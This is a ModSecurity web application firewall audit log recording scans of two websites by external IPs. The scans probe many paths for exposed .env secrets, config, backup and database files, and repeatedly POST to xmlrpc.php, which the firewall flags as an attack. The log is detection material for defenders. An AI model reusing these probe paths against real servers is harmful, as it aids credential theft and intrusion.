"/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/temp/.env"] [unique_id "aE9XOkoyC4_VyyL7sS6OXAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030138232284 665806 (- - -) Stopwatch2: 1750030138232284 665806; combined=2184, p1=476, p2=1604, p3=0, p4=0, p5=103, sr=131, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --680b3e6e-Z-- --9aca994a-A-- [16/Jun/2025:04:59:03.323065 +0530] aE9XPn87s8ehggCfEuayTgAAAAQ 185.177.72.210 48722 127.0.0.1 7081 --9aca994a-B-- GET /redirect/frbsignals.com HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9aca994a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0fbfc1361b588790ba250f9e35ef059c1750030143; expires=Mon, 16 Jun 2025 00:29:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9aca994a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/redirect/frbsignals.com"] [unique_id "aE9XPn87s8ehggCfEuayTgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030142648562 674571 (- - -) Stopwatch2: 1750030142648562 674571; combined=2035, p1=337, p2=1598, p3=0, p4=0, p5=100, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9aca994a-Z-- --e59cce78-A-- [16/Jun/2025:04:59:10.138834 +0530] aE9XRbBfUm2FdhH5voEVgwAAAAU 128.199.112.101 49098 127.0.0.1 7081 --e59cce78-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e59cce78-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e59cce78-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9XRbBfUm2FdhH5voEVgwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030149128771 1010134 (- - -) Stopwatch2: 1750030149128771 1010134; combined=2244, p1=395, p2=1407, p3=52, p4=66, p5=205, sr=107, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e59cce78-Z-- --4ba56421-A-- [16/Jun/2025:04:59:33.356190 +0530] aE9XXJbumDYPKpRD2ekssQAAAAA 185.177.72.210 37250 127.0.0.1 7081 --4ba56421-B-- GET /:8443/app/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4ba56421-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=523b801bbd1e95a132b534d8ecf4dbe81750030173; expires=Mon, 16 Jun 2025 00:29:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4ba56421-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/app/konfig/.env"] [unique_id "aE9XXJbumDYPKpRD2ekssQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030172694264 661990 (- - -) Stopwatch2: 1750030172694264 661990; combined=1655, p1=370, p2=1178, p3=0, p4=0, p5=106, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4ba56421-Z-- --f875997b-A-- [16/Jun/2025:04:59:42.672321 +0530] aE9XZrBfUm2FdhH5voEVmAAAAAU 185.177.72.210 36868 127.0.0.1 7081 --f875997b-B-- GET /azure/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f875997b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=54beb9c5faee63f0a382749a821d33691750030182; expires=Mon, 16 Jun 2025 00:29:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f875997b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/azure/.env"] [unique_id "aE9XZrBfUm2FdhH5voEVmAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030182020780 651604 (- - -) Stopwatch2: 1750030182020780 651604; combined=1585, p1=336, p2=1159, p3=0, p4=0, p5=89, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f875997b-Z-- --e0d41c27-A-- [16/Jun/2025:04:59:48.276863 +0530] aE9Xa32GhYywD7zZgx4HYgAAAAM 185.177.72.210 37120 127.0.0.1 7081 --e0d41c27-B-- GET /:8000/statisch/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e0d41c27-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=98b377b6cbbc88436e7e4a5a5f26d6361750030188; expires=Mon, 16 Jun 2025 00:29:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e0d41c27-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/statisch/.env"] [unique_id "aE9Xa32GhYywD7zZgx4HYgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030187592079 684849 (- - -) Stopwatch2: 1750030187592079 684849; combined=1907, p1=409, p2=1387, p3=0, p4=0, p5=110, sr=117, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e0d41c27-Z-- --91696d4d-A-- [16/Jun/2025:05:00:05.669656 +0530] aE9XfJbumDYPKpRD2ekswgAAAAA 185.177.72.210 34034 127.0.0.1 7081 --91696d4d-B-- GET /:8880/crm/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --91696d4d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=165bbdcd184845fcdd666864a5862de41750030205; expires=Mon, 16 Jun 2025 00:30:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --91696d4d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/crm/.env"] [unique_id "aE9XfJbumDYPKpRD2ekswgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030204871786 797935 (- - -) Stopwatch2: 1750030204871786 797935; combined=1985, p1=422, p2=1463, p3=0, p4=0, p5=99, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --91696d4d-Z-- --6ba3354a-A-- [16/Jun/2025:05:00:06.719412 +0530] aE9XflxTdrwJSUMoZvG3qQAAAAc 185.177.72.210 34078 127.0.0.1 7081 --6ba3354a-B-- GET /:9000/.env.save HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6ba3354a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=414a467f6a8472a4dd9b91b5c73d9cd71750030206; expires=Mon, 16 Jun 2025 00:30:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6ba3354a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.save"] [unique_id "aE9XflxTdrwJSUMoZvG3qQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030206048221 671253 (- - -) Stopwatch2: 1750030206048221 671253; combined=2066, p1=400, p2=1565, p3=0, p4=0, p5=101, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6ba3354a-Z-- --934db120-A-- [16/Jun/2025:05:00:07.784466 +0530] aE9Xf0oyC4_VyyL7sS6OggAAAAI 185.177.72.210 34132 127.0.0.1 7081 --934db120-B-- GET /configurationtionura.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --934db120-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=26f8ddbafbeb416f5d51bb9fd188927a1750030207; expires=Mon, 16 Jun 2025 00:30:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --934db120-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/configurationtionura.backup"] [unique_id "aE9Xf0oyC4_VyyL7sS6OggAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030207060153 724397 (- - -) Stopwatch2: 1750030207060153 724397; combined=2308, p1=492, p2=1709, p3=0, p4=0, p5=107, sr=184, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --934db120-Z-- --0fd96c00-A-- [16/Jun/2025:05:00:11.117907 +0530] aE9XgpbumDYPKpRD2eksxAAAAAA 128.199.112.101 57102 127.0.0.1 7081 --0fd96c00-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --0fd96c00-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --0fd96c00-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9XgpbumDYPKpRD2eksxAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030210155829 962135 (- - -) Stopwatch2: 1750030210155829 962135; combined=2328, p1=364, p2=1529, p3=50, p4=72, p5=194, sr=95, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0fd96c00-Z-- --52395c40-A-- [16/Jun/2025:05:00:29.157469 +0530] aE9XlMalTF-TysO2fMOFDAAAAAE 185.177.72.210 46072 127.0.0.1 7081 --52395c40-B-- GET /web.config.txt HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --52395c40-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f821e2d45b338107b5336fc46080a7271750030228; expires=Mon, 16 Jun 2025 00:30:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --52395c40-H-- Message: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/web.config.txt"] [unique_id "aE9XlMalTF-TysO2fMOFDAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030228427172 730360 (- - -) Stopwatch2: 1750030228427172 730360; combined=1636, p1=364, p2=1186, p3=0, p4=0, p5=86, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --52395c40-Z-- --88e2dd75-A-- [16/Jun/2025:05:00:31.514667 +0530] aE9XllxTdrwJSUMoZvG3tgAAAAc 185.177.72.210 39596 127.0.0.1 7081 --88e2dd75-B-- GET /admin.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --88e2dd75-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8c477a02034046280821bb8759c52cdf1750030231; expires=Mon, 16 Jun 2025 00:30:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --88e2dd75-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/admin.mdb"] [unique_id "aE9XllxTdrwJSUMoZvG3tgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030230871307 643438 (- - -) Stopwatch2: 1750030230871307 643438; combined=2390, p1=411, p2=1861, p3=0, p4=0, p5=118, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --88e2dd75-Z-- --b538d271-A-- [16/Jun/2025:05:00:33.553143 +0530] aE9XmEoyC4_VyyL7sS6OkAAAAAI 185.177.72.210 39666 127.0.0.1 7081 --b538d271-B-- GET /portal/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b538d271-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9bb3cba362e827f409f79a54d59897f41750030233; expires=Mon, 16 Jun 2025 00:30:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b538d271-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/portal/.env"] [unique_id "aE9XmEoyC4_VyyL7sS6OkAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030232838542 714664 (- - -) Stopwatch2: 1750030232838542 714664; combined=1921, p1=376, p2=1446, p3=0, p4=0, p5=99, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b538d271-Z-- --3a0c7528-A-- [16/Jun/2025:05:01:11.923434 +0530] aE9XvkoyC4_VyyL7sS6OpQAAAAI 128.199.112.101 42590 127.0.0.1 7081 --3a0c7528-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --3a0c7528-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --3a0c7528-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9XvkoyC4_VyyL7sS6OpQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030270990571 932919 (- - -) Stopwatch2: 1750030270990571 932919; combined=2326, p1=378, p2=1547, p3=44, p4=65, p5=178, sr=103, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3a0c7528-Z-- --43326e7f-A-- [16/Jun/2025:05:01:32.516295 +0530] aE9X07V9qKUox3X8g1Yp_wAAAAg 185.177.72.210 53854 